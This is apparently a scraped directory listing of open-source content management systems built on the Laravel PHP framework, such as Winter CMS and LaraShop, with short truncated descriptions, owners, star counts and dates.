Free, open-source, self-hosted CMS platform based on the Laravel PHP Framework.

Winter is a Content Management System (CMS) and web platform whose sole purpose is to make your development workflow simple again. It was born out of

Winter CMS 1.1k Jan 3, 2023
Lara-zeus sky is simple CMS for your website. it include posts, pages, tags, and categories.

Lara Zeus Sky Lara-zeus sky is simple CMS for your website. it include posts, pages, tags, and categories. small tasks can be time-consuming, let us b

Laravel Zeus 36 Dec 24, 2022
Simple PHP shop CMS based on Laravel 5.1

LaraShop LaraShop is a simple SHOP CMS based on Laravel framework. Temporarily available at russian language, in planned english. Screenshots Features

ZENLIX 73 Dec 20, 2021
Borgert is a CMS Open Source created with Laravel Framework 5.6

A simple CMS to start projects in Laravel containing some modules. Blog, Pages, Products, Mailbox, Image Gallery, Log Viewer and Users. Frontend: Blog

Borgert Inc. 300 Dec 30, 2022
ARCANESOFT - CMS built with Laravel Framework.

ARCANESOFT CMS built with Laravel Framework. By ARCANEDEV© Available Packages Production Package Description arcanedev/breadcrumbs A simple & easy way

ARCANESOFT 11 Oct 10, 2020